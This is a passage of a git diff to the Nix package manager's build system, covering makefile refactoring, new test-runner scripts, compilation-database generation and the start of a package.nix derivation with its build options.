-base=${0##*/} +# https://www.shellcheck.net/wiki/SC3004 +# Check if gettext exists +if ! type gettext > /dev/null 2>&1 +then + # If not, create a dummy function that returns the input verbatim + gettext() { printf '%s' "$1"; } +fi start() { mkdir -p ${RUNDIR} chown ${NIX_DAEMON_USER}:${NIX_DAEMON_USER} ${RUNDIR} - echo -n $"Starting nix daemon... " + printf '%s' "$(gettext 'Starting nix daemon... ')" daemonize -u $NIX_DAEMON_USER -p ${PIDFILE} $NIX_DAEMON_BIN $NIX_DAEMON_OPTS RETVAL=$? @@ -58,7 +65,7 @@ start() { } stop() { - echo -n $"Shutting down nix daemon: " + printf '%s' "$(gettext 'Shutting down nix daemon: ')" killproc -p ${PIDFILE} $NIX_DAEMON_BIN RETVAL=$? [ $RETVAL -eq 0 ] && rm -f ${LOCKFILE} ${PIDFILE} @@ -67,7 +74,7 @@ stop() { } reload() { - echo -n $"Reloading nix daemon... " + printf '%s' "$(gettext 'Reloading nix daemon... ')" killproc -p ${PIDFILE} $NIX_DAEMON_BIN -HUP RETVAL=$? echo @@ -105,7 +112,7 @@ case "$1" in fi ;; *) - echo $"Usage: $0 {start|stop|status|restart|condrestart}" + printf '%s' "$(gettext "Usage: $0 {start|stop|status|restart|condrestart}")" exit 2 ;; esac diff --git a/mk/build-dir.mk b/mk/build-dir.mk new file mode 100644 index 000000000..02f4cae60 --- /dev/null +++ b/mk/build-dir.mk @@ -0,0 +1,10 @@ +# Initialise support for build directories. +builddir ?= + +ifdef builddir + buildprefix = $(builddir)/ + buildprefixrel = $(builddir) +else + buildprefix = + buildprefixrel = . +endif diff --git a/mk/common-test.sh b/mk/common-test.sh new file mode 100644 index 000000000..817422c40 --- /dev/null +++ b/mk/common-test.sh @@ -0,0 +1,23 @@ +# shellcheck shell=bash + +# Remove overall test dir (at most one of the two should match) and +# remove file extension. + +test_name=$(echo -n "${test?must be defined by caller (test runner)}" | sed \ + -e "s|^src/[^/]*-test/data/||" \ + -e "s|^tests/functional/||" \ + -e "s|\.sh$||" \ + ) + +# shellcheck disable=SC2016 +TESTS_ENVIRONMENT=( + "TEST_NAME=$test_name" + 'NIX_REMOTE=' + 'PS4=+(${BASH_SOURCE[0]-$0}:$LINENO) ' +) + +read -r -a bash <<< "${BASH:-/usr/bin/env bash}" + +run () { + cd "$(dirname "$1")" && env "${TESTS_ENVIRONMENT[@]}" "${bash[@]}" -x -e -u -o pipefail "$(basename "$1")" +} diff --git a/mk/compilation-database.mk b/mk/compilation-database.mk new file mode 100644 index 000000000..f69dc0de0 --- /dev/null +++ b/mk/compilation-database.mk @@ -0,0 +1,11 @@ +compile-commands-json-files := + +define write-compile-commands + _srcs := $$(sort $$(foreach src, $$($(1)_SOURCES), $$(src))) + + $(1)_COMPILE_COMMANDS_JSON := $$(addprefix $(buildprefix), $$(addsuffix .compile_commands.json, $$(basename $$(_srcs)))) + + compile-commands-json-files += $$($(1)_COMPILE_COMMANDS_JSON) + + clean-files += $$($(1)_COMPILE_COMMANDS_JSON) +endef diff --git a/mk/cxx-big-literal.mk b/mk/cxx-big-literal.mk new file mode 100644 index 000000000..d64a171c8 --- /dev/null +++ b/mk/cxx-big-literal.mk @@ -0,0 +1,5 @@ +%.gen.hh: % + @echo 'R"__NIX_STR(' >> $@.tmp + $(trace-gen) cat $< >> $@.tmp + @echo ')__NIX_STR"' >> $@.tmp + @mv $@.tmp $@ diff --git a/mk/debug-test.sh b/mk/debug-test.sh new file mode 100755 index 000000000..0dd4406c3 --- /dev/null +++ b/mk/debug-test.sh @@ -0,0 +1,10 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +test=$1 + +dir="$(dirname "${BASH_SOURCE[0]}")" +source "$dir/common-test.sh" + +run "$test" diff --git a/mk/install-dirs.mk b/mk/install-dirs.mk new file mode 100644 index 000000000..732b0d6fc --- /dev/null +++ b/mk/install-dirs.mk @@ -0,0 +1,11 @@ +# Default installation paths. +prefix ?= /usr/local +libdir ?= $(prefix)/lib +bindir ?= $(prefix)/bin +libexecdir ?= $(prefix)/libexec +datadir ?= $(prefix)/share +localstatedir ?= $(prefix)/var +sysconfdir ?= $(prefix)/etc +mandir ?= $(prefix)/share/man + +DESTDIR ?= diff --git a/mk/lib.mk b/mk/lib.mk index 92f0983d5..1e7af6ad5 100644 --- a/mk/lib.mk +++ b/mk/lib.mk @@ -10,25 +10,9 @@ bin-scripts := noinst-scripts := man-pages := install-tests := +install-tests-groups := -ifdef HOST_OS - HOST_KERNEL = $(firstword $(subst -, ,$(HOST_OS))) - ifeq ($(HOST_KERNEL), cygwin) - HOST_CYGWIN = 1 - endif - ifeq ($(patsubst darwin%,,$(HOST_KERNEL)),) - HOST_DARWIN = 1 - endif - ifeq ($(patsubst freebsd%,,$(HOST_KERNEL)),) - HOST_FREEBSD = 1 - endif - ifeq ($(HOST_KERNEL), linux) - HOST_LINUX = 1 - endif - ifeq ($(patsubst solaris%,,$(HOST_KERNEL)),) - HOST_SOLARIS = 1 - endif -endif +include mk/platform.mk # Hack to define a literal space. space := @@ -42,27 +26,6 @@ define newline endef -# Default installation paths. -prefix ?= /usr/local -libdir ?= $(prefix)/lib -bindir ?= $(prefix)/bin -libexecdir ?= $(prefix)/libexec -datadir ?= $(prefix)/share -localstatedir ?= $(prefix)/var -sysconfdir ?= $(prefix)/etc -mandir ?= $(prefix)/share/man - - -# Initialise support for build directories. -builddir ?= - -ifdef builddir - buildprefix = $(builddir)/ -else - buildprefix = -endif - - # Pass -fPIC if we're building dynamic libraries. BUILD_SHARED_LIBS ?= 1 @@ -93,6 +56,8 @@ ifeq ($(BUILD_DEBUG), 1) endif +include mk/build-dir.mk +include mk/install-dirs.mk include mk/functions.mk include mk/tracing.mk include mk/clean.mk @@ -101,7 +66,9 @@ include mk/libraries.mk include mk/programs.mk include mk/patterns.mk include mk/templates.mk +include mk/cxx-big-literal.mk include mk/tests.mk +include mk/compilation-database.mk # Include all sub-Makefiles. @@ -110,7 +77,7 @@ define include-sub-makefile include $(1) endef -$(foreach mf, $(makefiles), $(eval $(call include-sub-makefile, $(mf)))) +$(foreach mf, $(makefiles), $(eval $(call include-sub-makefile,$(mf)))) # Instantiate stuff. @@ -120,7 +87,27 @@ $(foreach script, $(bin-scripts), $(eval $(call install-program-in,$(script),$(b $(foreach script, $(bin-scripts), $(eval programs-list += $(script))) $(foreach script, $(noinst-scripts), $(eval programs-list += $(script))) $(foreach template, $(template-files), $(eval $(call instantiate-template,$(template)))) -$(foreach test, $(install-tests), $(eval $(call run-install-test,$(test)))) +$(foreach test, $(install-tests), \ + $(eval $(call run-test,$(test))) \ + $(eval installcheck: $(test).test)) +$(foreach test-group, $(install-tests-groups), \ + $(eval $(call run-test-group,$(test-group))) \ + $(eval installcheck: $(test-group).test-group) \ + $(foreach test, $($(test-group)-tests), \ + $(eval $(call run-test,$(test))) \ + $(eval $(test-group).test-group: $(test).test))) + +# Compilation database. +$(foreach lib, $(libraries), $(eval $(call write-compile-commands,$(lib)))) +$(foreach prog, $(programs), $(eval $(call write-compile-commands,$(prog)))) + +compile_commands.json: $(compile-commands-json-files) + @jq --slurp '.' $^ >$@ + +# Include makefiles requiring built programs. +$(foreach mf, $(makefiles-late), $(eval $(call include-sub-makefile,$(mf)))) + + $(foreach file, $(man-pages), $(eval $(call install-data-in, $(file), $(mandir)/man$(patsubst .%,%,$(suffix $(file)))))) @@ -150,6 +137,14 @@ ifdef libs-list @echo "The following libraries can be built:" @echo "" @for i in $(libs-list); do echo " $$i"; done +endif +ifdef install-tests-groups + @echo "" + @echo "The following groups of functional tests can be run:" + @echo "" + @for i in $(install-tests-groups); do echo " $$i.test-group"; done + @echo "" + @echo "(installcheck includes tests in test groups too.)" endif @echo "" @echo "The following variables control the build:" diff --git a/mk/libraries.mk b/mk/libraries.mk index 6541775f3..b99ba2782 100644 --- a/mk/libraries.mk +++ b/mk/libraries.mk @@ -3,13 +3,19 @@ libs-list := ifdef HOST_DARWIN SO_EXT = dylib else - ifdef HOST_CYGWIN + ifdef HOST_WINDOWS SO_EXT = dll else SO_EXT = so endif endif +ifdef HOST_UNIX + THREAD_LDFLAGS = -pthread +else + THREAD_LDFLAGS = +endif + # Build a library with symbolic name $(1). The library is defined by # various variables prefixed by ‘$(1)_’: # @@ -59,7 +65,7 @@ define build-library $(1)_OBJS := $$(addprefix $(buildprefix), $$(addsuffix .o, $$(basename $$(_srcs)))) _libs := $$(foreach lib, $$($(1)_LIBS), $$($$(lib)_PATH)) - ifdef HOST_CYGWIN + ifdef HOST_WINDOWS $(1)_INSTALL_DIR ?= $$(bindir) else $(1)_INSTALL_DIR ?= $$(libdir) @@ -67,6 +73,7 @@ define build-library $(1)_LDFLAGS_USE := $(1)_LDFLAGS_USE_INSTALLED := + $(1)_LIB_CLOSURE := $(1) $$(eval $$(call create-dir, $$(_d))) @@ -78,7 +85,7 @@ define build-library endif else ifndef HOST_DARWIN - ifndef HOST_CYGWIN + ifndef HOST_WINDOWS $(1)_LDFLAGS += -Wl,-z,defs endif endif @@ -125,13 +132,15 @@ define build-library $(1)_PATH := $$(_d)/$$($(1)_NAME).a $$($(1)_PATH): $$($(1)_OBJS) | $$(_d)/ - +$$(trace-ld) $(LD) -Ur -o $$(_d)/$$($(1)_NAME).o $$^ + $$(trace-ld) $(LD) $$(ifndef $(HOST_DARWIN),-U) -r -o $$(_d)/$$($(1)_NAME).o $$^ $$(trace-ar) $(AR) crs $$@ $$(_d)/$$($(1)_NAME).o - $(1)_LDFLAGS_USE += $$($(1)_PATH) $$($(1)_LDFLAGS) + $(1)_LDFLAGS_USE += $$($(1)_PATH) $$($(1)_LDFLAGS) $$(foreach lib, $$($(1)_LIBS), $$($$(lib)_LDFLAGS_USE)) $(1)_INSTALL_PATH := $$(libdir)/$$($(1)_NAME).a + $(1)_LIB_CLOSURE += $$($(1)_LIBS) + endif $(1)_LDFLAGS_USE += $$($(1)_LDFLAGS_PROPAGATED) diff --git a/mk/patterns.mk b/mk/patterns.mk index 86a724806..4caa2039e 100644 --- a/mk/patterns.mk +++ b/mk/patterns.mk @@ -1,11 +1,41 @@ + +# These are the complete command lines we use to compile C and C++ files. +# - $< is the source file. +# - $1 is the object file to create. +CC_CMD=$(CC) -o $1 -c $< $(CPPFLAGS) $(GLOBAL_CFLAGS) $(CFLAGS) $($1_CFLAGS) -MMD -MF $(call filename-to-dep,$1) -MP +CXX_CMD=$(CXX) -o $1 -c $< $(CPPFLAGS) $(GLOBAL_CXXFLAGS_PCH) $(GLOBAL_CXXFLAGS) $(CXXFLAGS) $($1_CXXFLAGS) $(ERROR_SWITCH_ENUM) -MMD -MF $(call filename-to-dep,$1) -MP + +# We use COMPILE_COMMANDS_JSON_CMD to turn a compilation command (like CC_CMD +# or CXX_CMD above) into a comple_commands.json file. We rely on bash native +# word splitting to define the positional arguments. +# - $< is the source file being compiled. +COMPILE_COMMANDS_JSON_CMD=jq --null-input '{ directory: $$ENV.PWD, file: "$<", arguments: $$ARGS.positional }' --args -- + + $(buildprefix)%.o: %.cc @mkdir -p "$(dir $@)" - $(trace-cxx) $(CXX) -o $@ -c $< $(CPPFLAGS) $(GLOBAL_CXXFLAGS_PCH) $(GLOBAL_CXXFLAGS) $(CXXFLAGS) $($@_CXXFLAGS) -MMD -MF $(call filename-to-dep, $@) -MP + $(trace-cxx) $(call CXX_CMD,$@) $(buildprefix)%.o: %.cpp @mkdir -p "$(dir $@)" - $(trace-cxx) $(CXX) -o $@ -c $< $(CPPFLAGS) $(GLOBAL_CXXFLAGS_PCH) $(GLOBAL_CXXFLAGS) $(CXXFLAGS) $($@_CXXFLAGS) -MMD -MF $(call filename-to-dep, $@) -MP + $(trace-cxx) $(call CXX_CMD,$@) $(buildprefix)%.o: %.c @mkdir -p "$(dir $@)" - $(trace-cc) $(CC) -o $@ -c $< $(CPPFLAGS) $(GLOBAL_CFLAGS) $(CFLAGS) $($@_CFLAGS) -MMD -MF $(call filename-to-dep, $@) -MP + $(trace-cc) $(call CC_CMD,$@) + +# In the following we need to replace the .compile_commands.json extension in $@ with .o +# to make the object file. This is needed because CC_CMD and CXX_CMD do further expansions +# based on the object file name (i.e. *_CXXFLAGS and filename-to-dep). + +$(buildprefix)%.compile_commands.json: %.cc + @mkdir -p "$(dir $@)" + $(trace-jq) $(COMPILE_COMMANDS_JSON_CMD) $(call CXX_CMD,$(@:.compile_commands.json=.o)) > $@ + +$(buildprefix)%.compile_commands.json: %.cpp + @mkdir -p "$(dir $@)" + $(trace-jq) $(COMPILE_COMMANDS_JSON_CMD) $(call CXX_CMD,$(@:.compile_commands.json=.o)) > $@ + +$(buildprefix)%.compile_commands.json: %.c + @mkdir -p "$(dir $@)" + $(trace-jq) $(COMPILE_COMMANDS_JSON_CMD) $(call CC_CMD,$(@:.compile_commands.json=.o)) > $@ diff --git a/mk/platform.mk b/mk/platform.mk new file mode 100644 index 000000000..22c114a20 --- /dev/null +++ b/mk/platform.mk @@ -0,0 +1,36 @@ +ifdef HOST_OS + HOST_KERNEL = $(firstword $(subst -, ,$(HOST_OS))) + ifeq ($(patsubst mingw%,,$(HOST_KERNEL)),) + HOST_MINGW = 1 + HOST_WINDOWS = 1 + endif + ifeq ($(HOST_KERNEL), cygwin) + HOST_CYGWIN = 1 + HOST_WINDOWS = 1 + HOST_UNIX = 1 + endif + ifeq ($(patsubst darwin%,,$(HOST_KERNEL)),) + HOST_DARWIN = 1 + HOST_UNIX = 1 + endif + ifeq ($(patsubst freebsd%,,$(HOST_KERNEL)),) + HOST_FREEBSD = 1 + HOST_UNIX = 1 + endif + ifeq ($(patsubst netbsd%,,$(HOST_KERNEL)),) + HOST_NETBSD = 1 + HOST_UNIX = 1 + endif + ifeq ($(HOST_KERNEL), linux) + HOST_LINUX = 1 + HOST_UNIX = 1 + endif + ifeq ($(patsubst solaris%,,$(HOST_KERNEL)),) + HOST_SOLARIS = 1 + HOST_UNIX = 1 + endif + ifeq ($(HOST_KERNEL), gnu) + HOST_HURD = 1 + HOST_UNIX = 1 + endif +endif diff --git a/mk/precompiled-headers.mk b/mk/precompiled-headers.mk index cdd3daecd..f2803eb79 100644 --- a/mk/precompiled-headers.mk +++ b/mk/precompiled-headers.mk @@ -8,7 +8,7 @@ GCH = $(buildprefix)precompiled-headers.h.gch $(GCH): precompiled-headers.h @rm -f $@ @mkdir -p "$(dir $@)" - $(trace-gen) $(CXX) -x c++-header -o $@ $< $(GLOBAL_CXXFLAGS) $(GCH_CXXFLAGS) + $(trace-gen) $(CXX) -c -x c++-header -o $@ $< $(GLOBAL_CXXFLAGS) $(GCH_CXXFLAGS) clean-files += $(GCH) diff --git a/mk/programs.mk b/mk/programs.mk index 0fc1990f7..623caaf55 100644 --- a/mk/programs.mk +++ b/mk/programs.mk @@ -1,8 +1,17 @@ programs-list := +ifdef HOST_WINDOWS + EXE_EXT = .exe +else + EXE_EXT = +endif + # Build a program with symbolic name $(1). The program is defined by # various variables prefixed by ‘$(1)_’: # +# - $(1)_NAME: the name of the program (e.g. ‘foo’); defaults to +# $(1). +# # - $(1)_DIR: the directory where the (non-installed) program will be # placed. # @@ -23,11 +32,12 @@ programs-list := # - $(1)_INSTALL_DIR: the directory where the program will be # installed; defaults to $(bindir). define build-program + $(1)_NAME ?= $(1) _d := $(buildprefix)$$($(1)_DIR) _srcs := $$(sort $$(foreach src, $$($(1)_SOURCES), $$(src))) $(1)_OBJS := $$(addprefix $(buildprefix), $$(addsuffix .o, $$(basename $$(_srcs)))) - _libs := $$(foreach lib, $$($(1)_LIBS), $$($$(lib)_PATH)) - $(1)_PATH := $$(_d)/$(1) + _libs := $$(foreach lib, $$($(1)_LIBS), $$(foreach lib2, $$($$(lib)_LIB_CLOSURE), $$($$(lib2)_PATH))) + $(1)_PATH := $$(_d)/$$($(1)_NAME)$(EXE_EXT) $$(eval $$(call create-dir, $$(_d))) @@ -38,7 +48,7 @@ define build-program ifdef $(1)_INSTALL_DIR - $(1)_INSTALL_PATH := $$($(1)_INSTALL_DIR)/$(1) + $(1)_INSTALL_PATH := $$($(1)_INSTALL_DIR)/$$($(1)_NAME)$(EXE_EXT) $$(eval $$(call create-dir, $$($(1)_INSTALL_DIR))) @@ -54,7 +64,7 @@ define build-program else $(DESTDIR)$$($(1)_INSTALL_PATH): $$($(1)_PATH) | $(DESTDIR)$$($(1)_INSTALL_DIR)/ - install -t $(DESTDIR)$$($(1)_INSTALL_DIR) $$< + +$$(trace-install) install -t $(DESTDIR)$$($(1)_INSTALL_DIR) $$< endif endif @@ -83,6 +93,6 @@ define build-program # Phony target to run this program (typically as a dependency of 'check'). .PHONY: $(1)_RUN $(1)_RUN: $$($(1)_PATH) - $(trace-test) $$($(1)_PATH) + $(trace-test) $$($(1)_ENV) $$($(1)_PATH) endef diff --git a/mk/run-test.sh b/mk/run-test.sh new file mode 100755 index 000000000..7f9f1d5f8 --- /dev/null +++ b/mk/run-test.sh @@ -0,0 +1,38 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +red="" +green="" +yellow="" +normal="" + +test=$1 + +dir="$(dirname "${BASH_SOURCE[0]}")" +source "$dir/common-test.sh" + +post_run_msg="ran test $test..." +if [ -t 1 ]; then + red="" + green="" + yellow="" + normal="" +fi + +run_test () { + log="$(run "$test" 2>&1)" && status=0 || status=$? +} + +run_test + +if [[ "$status" = 0 ]]; then + echo "$post_run_msg [${green}PASS$normal]" +elif [[ "$status" = 77 ]]; then + echo "$post_run_msg [${yellow}SKIP$normal]" +else + echo "$post_run_msg [${red}FAIL$normal]" + # shellcheck disable=SC2001 + echo "$log" | sed 's/^/ /' + exit "$status" +fi diff --git a/mk/run_test.sh b/mk/run_test.sh deleted file mode 100755 index 7e95df2ac..000000000 --- a/mk/run_test.sh +++ /dev/null @@ -1,46 +0,0 @@ -#!/bin/sh - -set -u - -red="" -green="" -yellow="" -normal="" - -post_run_msg="ran test $1..." -if [ -t 1 ]; then - red="" - green="" - yellow="" - normal="" -fi - -run_test () { - (cd tests && env ${TESTS_ENVIRONMENT} init.sh 2>/dev/null > /dev/null) - log="$(cd $(dirname $1) && env ${TESTS_ENVIRONMENT} $(basename $1) 2>&1)" - status=$? -} - -run_test "$1" - -# Hack: Retry the test if it fails with “unexpected EOF reading a line” as these -# appear randomly without anyone knowing why. -# See https://github.com/NixOS/nix/issues/3605 for more info -if [[ $status -ne 0 && $status -ne 99 && \ - "$(uname)" == "Darwin" && \ - "$log" =~ "unexpected EOF reading a line" \ -]]; then - echo "$post_run_msg [${yellow}FAIL$normal] (possibly flaky, so will be retried)" - echo "$log" | sed 's/^/ /' - run_test "$1" -fi - -if [ $status -eq 0 ]; then - echo "$post_run_msg [${green}PASS$normal]" -elif [ $status -eq 99 ]; then - echo "$post_run_msg [${yellow}SKIP$normal]" -else - echo "$post_run_msg [${red}FAIL$normal]" - echo "$log" | sed 's/^/ /' - exit "$status" -fi diff --git a/mk/templates.mk b/mk/templates.mk index c7ac7afbf..d5dae61c7 100644 --- a/mk/templates.mk +++ b/mk/templates.mk @@ -10,10 +10,10 @@ endef ifneq ($(MAKECMDGOALS), clean) -%.h: %.h.in - $(trace-gen) rm -f $@ && ./config.status --quiet --header=$@ +$(buildprefix)%.h: %.h.in $(buildprefix)config.status + $(trace-gen) rm -f $@ && cd $(buildprefixrel) && ./config.status --quiet --header=$(@:$(buildprefix)%=%) -%: %.in - $(trace-gen) rm -f $@ && ./config.status --quiet --file=$@ +$(buildprefix)%: %.in $(buildprefix)config.status + $(trace-gen) rm -f $@ && cd $(buildprefixrel) && ./config.status --quiet --file=$(@:$(buildprefix)%=%) endif diff --git a/mk/tests.mk b/mk/tests.mk index a2e30a378..0a10f6d3b 100644 --- a/mk/tests.mk +++ b/mk/tests.mk @@ -2,13 +2,24 @@ test-deps = -define run-install-test +define run-bash - installcheck: $1.test + .PHONY: $1 + $1: $2 + @env BASH=$(bash) $(bash) $3 < /dev/null - .PHONY: $1.test - $1.test: $1 $(test-deps) - @env TEST_NAME=$(basename $1) TESTS_ENVIRONMENT="$(tests-environment)" mk/run_test.sh $1 < /dev/null +endef + +define run-test + + $(eval $(call run-bash,$1.test,$1 $(test-deps),mk/run-test.sh $1)) + $(eval $(call run-bash,$1.test-debug,$1 $(test-deps),mk/debug-test.sh $1)) + +endef + +define run-test-group + + .PHONY: $1.test-group endef diff --git a/mk/tracing.mk b/mk/tracing.mk index 1fc5573d7..09db1e617 100644 --- a/mk/tracing.mk +++ b/mk/tracing.mk @@ -10,6 +10,8 @@ ifeq ($(V), 0) trace-install = @echo " INST " $@; trace-mkdir = @echo " MKDIR " $@; trace-test = @echo " TEST " $@; + trace-sh = @echo " SH " $@; + trace-jq = @echo " JQ " $@; suppress = @ diff --git a/package.nix b/package.nix new file mode 100644 index 000000000..d41748b7c --- /dev/null +++ b/package.nix @@ -0,0 +1,368 @@ +{ lib +, stdenv +, releaseTools +, autoconf-archive +, autoreconfHook +, aws-sdk-cpp +, boehmgc +, nlohmann_json +, bison +, boost +, brotli +, bzip2 +, curl +, editline +, readline +, flex +, git +, gtest +, jq +, libarchive +, libcpuid +, libgit2 +, libseccomp +, libsodium +, man +, lowdown +, mdbook +, mdbook-linkcheck +, mercurial +, openssh +, openssl +, pkg-config +, rapidcheck +, sqlite +, toml11 +, unixtools +, xz + +, busybox-sandbox-shell ? null + +# Configuration Options +#: +# This probably seems like too many degrees of freedom, but it +# faithfully reflects how the underlying configure + make build system +# work. The top-level flake.nix will choose useful combinations of these +# options to CI. + +, pname ? "nix" + +, version +, versionSuffix + +# Whether to build Nix. Useful to skip for tasks like testing existing pre-built versions of Nix +, doBuild ? true + +# Run the unit tests as part of the build. See `installUnitTests` for an +# alternative to this. +, doCheck ? __forDefaults.canRunInstalled + +# Run the functional tests as part of the build. +, doInstallCheck ? test-client != null || __forDefaults.canRunInstalled + +# Check test coverage of Nix. Probably want to use with with at least +# one of `doCHeck` or `doInstallCheck` enabled. +, withCoverageChecks ? false + +# Whether to build the regular manual +, enableManual ? __forDefaults.canRunInstalled + +# Whether to use garbage collection for the Nix language evaluator. +# +# If it is disabled, we just leak memory, but this is not as bad as it +# sounds so long as evaluation just takes places within short-lived +# processes. (When the process exits, the memory is reclaimed; it is +# only leaked *within* the process.) +# +# Temporarily disabled on Windows because the `GC_throw_bad_alloc` +# symbol is missing during linking. +, enableGC ? !stdenv.hostPlatform.isWindows + +# Whether to enable Markdown rendering in the Nix binary. +, enableMarkdown ? !stdenv.hostPlatform.isWindows + +# Which interactive line editor library to use for Nix's repl. +# +# Currently supported choices are: +# +# - editline (default) +# - readline +, readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline" + +# Whether to install unit tests. This is useful when cross compiling +# since we cannot run them natively during the build, but can do so +# later. +, installUnitTests ? doBuild && !__forDefaults.canExecuteHost + +# For running the functional tests against a pre-built Nix. Probably +# want to use in conjunction with `doBuild = false;`. +, test-daemon ? null +, test-client ? null + +# Avoid setting things that would interfere with a functioning devShell +, forDevShell ? false + +# Not a real argument, just the only way to approximate let-binding some +# stuff for argument defaults. +, __forDefaults ? { + canExecuteHost = stdenv.buildPlatform.canExecute stdenv.hostPlatform; + canRunInstalled = doBuild && __forDefaults.canExecuteHost; + } +}: + +let + inherit (lib) fileset; + + # selected attributes with defaults, will be used to define some + # things which should instead be gotten via `finalAttrs` in order to + # work with overriding. + attrs = { + inherit doBuild doCheck doInstallCheck; + }; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: let + + inherit (finalAttrs) + doCheck + doInstallCheck + ; + + doBuild = !finalAttrs.dontBuild; + + # Either running the unit tests during the build, or installing them + # to be run later, requiresthe unit tests to be built. + buildUnitTests = doCheck || installUnitTests; + +in { + inherit pname version; + + src = + let + baseFiles = fileset.fileFilter (f: f.name != ".gitignore") ./.; + in + fileset.toSource { + root = ./.; + fileset = fileset.intersection baseFiles (fileset.unions ([ + # For configure + ./.version + ./configure.ac + ./m4 + # TODO: do we really need README.md? It doesn't seem used in the build. + ./README.md + # This could be put behind a conditional + ./maintainers/local.mk + # For make, regardless of what we are building + ./local.mk + ./Makefile + ./Makefile.config.in + ./mk + (fileset.fileFilter (f: lib.strings.hasPrefix "nix-profile" f.name) ./scripts) + ] ++ lib.optionals doBuild [ + ./doc + ./misc + ./precompiled-headers.h + (fileset.difference ./src ./src/perl) + ./COPYING + ./scripts/local.mk + ] ++ lib.optionals enableManual [ + ./doc/manual + ] ++ lib.optionals buildUnitTests [ + ./tests/unit + ] ++ lib.optionals doInstallCheck [ + ./tests/functional + ])); + }; + + VERSION_SUFFIX = versionSuffix; + + outputs = [ "out" ] + ++ lib.optional doBuild "dev" + # If we are doing just build or just docs, the one thing will use + # "out". We only need additional outputs if we are doing both. + ++ lib.optional (doBuild && enableManual) "doc" + ++ lib.optional installUnitTests "check" + ++ lib.optional doCheck "testresults" + ; + + nativeBuildInputs = [ + autoconf-archive + autoreconfHook + pkg-config + ] ++ lib.optionals doBuild [ + bison + flex + ] ++ lib.optionals enableManual [ + (lib.getBin lowdown) + mdbook + mdbook-linkcheck + ] ++ lib.optionals doInstallCheck [ + git + mercurial + openssh + man # for testing `nix-* --help` + ] ++ lib.optionals (doInstallCheck || enableManual) [ + jq # Also for custom mdBook preprocessor. + ] ++ lib.optional stdenv.hostPlatform.isStatic unixtools.hexdump + ; + + buildInputs = lib.optionals doBuild ( + [ + brotli + bzip2 + curl + libarchive + libgit2 + libsodium + openssl + sqlite + toml11 + xz + ({ inherit readline editline; }.${readlineFlavor}) + ] ++ lib.optionals enableMarkdown [ + lowdown + ] ++ lib.optionals buildUnitTests [ + gtest + rapidcheck + ] ++ lib.optional stdenv.isLinux libseccomp + ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid + # There have been issues building these dependencies + ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin)) + aws-sdk-cpp + ); + + propagatedBuildInputs = lib.optionals doBuild ([ + boost + nlohmann_json + ] ++ lib.optional enableGC boehmgc + ); + + dontBuild = !attrs.doBuild; + doCheck = attrs.doCheck; + + configureFlags = [ + (lib.enableFeature doBuild "build") + (lib.enableFeature buildUnitTests "unit-tests") + (lib.enableFeature doInstallCheck "functional-tests") + (lib.enableFeature enableManual "doc-gen") + (lib.enableFeature enableGC "gc") + (lib.enableFeature enableMarkdown "markdown") + (lib.enableFeature installUnitTests "install-unit-tests") + (lib.withFeatureAs true "readline-flavor" readlineFlavor) + ] ++ lib.optionals (!forDevShell) [ + "--sysconfdir=/etc" + ] ++ lib.optionals installUnitTests [ + "--with-check-bin-dir=${builtins.placeholder "check"}/bin" + "--with-check-lib-dir=${builtins.placeholder "check"}/lib" + ] ++ lib.optionals (doBuild) [ + "--with-boost=${boost}/lib" + ] ++ lib.optionals (doBuild && stdenv.isLinux) [ + "--with-sandbox-shell=${busybox-sandbox-shell}/bin/busybox" + ] ++ lib.optional (doBuild && stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) + "LDFLAGS=-fuse-ld=gold" + ++ lib.optional (doBuild && stdenv.hostPlatform.isStatic) "--enable-embedded-sandbox-shell" + ; + + enableParallelBuilding = true; + + makeFlags = "profiledir=$(out)/etc/profile.d PRECOMPILE_HEADERS=1"; + + preCheck = '' + mkdir $testresults + ''; + + installTargets = lib.optional doBuild "install"; + + installFlags = "sysconfdir=$(out)/etc"; + + # In this case we are probably just running tests, and so there isn't + # anything to install, we just make an empty directory to signify tests + # succeeded. + installPhase = if finalAttrs.installTargets != [] then null else '' + mkdir -p $out + ''; + + postInstall = lib.optionalString doBuild ( + lib.optionalString stdenv.hostPlatform.isStatic '' + mkdir -p $out/nix-support + echo "file binary-dist $out/bin/nix" >> $out/nix-support/hydra-build-products + '' + ) + lib.optionalString enableManual '' + mkdir -p ''${!outputDoc}/nix-support + echo "doc manual ''${!outputDoc}/share/doc/nix/manual" >> ''${!outputDoc}/nix-support/hydra-build-products + ''; + + # So the check output gets links for DLLs in the out output. + preFixup = lib.optionalString (stdenv.hostPlatform.isWindows && builtins.elem "check" finalAttrs.outputs) '' + ln -s "$check/lib/"*.dll "$check/bin" + ln -s "$out/bin/"*.dll "$check/bin" + ''; + + doInstallCheck = attrs.doInstallCheck; + + installCheckFlags = "sysconfdir=$(out)/etc"; + # Work around buggy detection in stdenv. + installCheckTarget = "installcheck"; + + # Work around weird bug where it doesn't think there is a Makefile. + installCheckPhase = if (!doBuild && doInstallCheck) then '' + runHook preInstallCheck + mkdir -p src/nix-channel + make installcheck -j$NIX_BUILD_CORES -l$NIX_BUILD_CORES + '' else null; + + # Needed for tests if we are not doing a build, but testing existing + # built Nix. + preInstallCheck = + lib.optionalString (! doBuild) '' + mkdir -p src/nix-channel + '' + # See https://github.com/NixOS/nix/issues/2523 + # Occurs often in tests since https://github.com/NixOS/nix/pull/9900 + + lib.optionalString stdenv.hostPlatform.isDarwin '' + export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES + ''; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + mainProgram = "nix"; + broken = !(lib.all (a: a) [ + # We cannot run or install unit tests if we don't build them or + # Nix proper (which they depend on). + (installUnitTests -> doBuild) + (doCheck -> doBuild) + # The build process for the manual currently requires extracting + # data from the Nix executable we are trying to document. + 